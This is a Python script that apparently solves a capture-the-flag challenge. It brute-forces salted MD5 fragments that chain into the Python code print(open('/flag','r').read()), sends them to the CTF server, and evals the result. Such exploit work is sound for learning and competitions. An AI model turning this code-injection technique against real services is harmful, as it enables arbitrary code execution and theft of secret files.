#!/usr/bin/env python3

import hashlib
import socket
import sys
import os

def is_printable_ascii(c):
    string = chr(c)

    return string.isascii() and string.isprintable()


def make_payload(line, salt):
    hashed = hashlib.md5((salt + line).encode("utf8")).digest()

    code = filter(is_printable_ascii, hashed)

    return bytes(code).decode("ascii")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# now connect to the web server on port 80 - the normal http port
s.connect(("smartblockchain.ctf.zone", 8333))
salt = s.recv(64)
print(salt)
salt = salt.split()[-1].strip().decode("utf-8")
print(salt)
print(f"Here is your salt: {salt}")

sys.stdout.flush()

payload = ""

want="print(open('/flag','r').read())"

def bits():
	for a in range(64):
		for b in range(64):
			for c in range(64):
				for d in range(64):
					yield chr(33+a) + chr(33+b) + chr(33+c) + chr(33+d)


res = []
while want:
	for c in bits():
		r = make_payload(c, salt)
		if r and want.startswith(r):
			print(c)
			res.append(c)
			print(r)
			want = want[len(r):]
			break


out = open("blup", "w")
for line in res:
    s.send((line + "\n").encode("utf-8"))
    if line[-1] == "\n": line = line[:-1]

    payload += make_payload(line, salt)

s.shutdown(socket.SHUT_WR)
print(s.recv(1000))
eval(payload)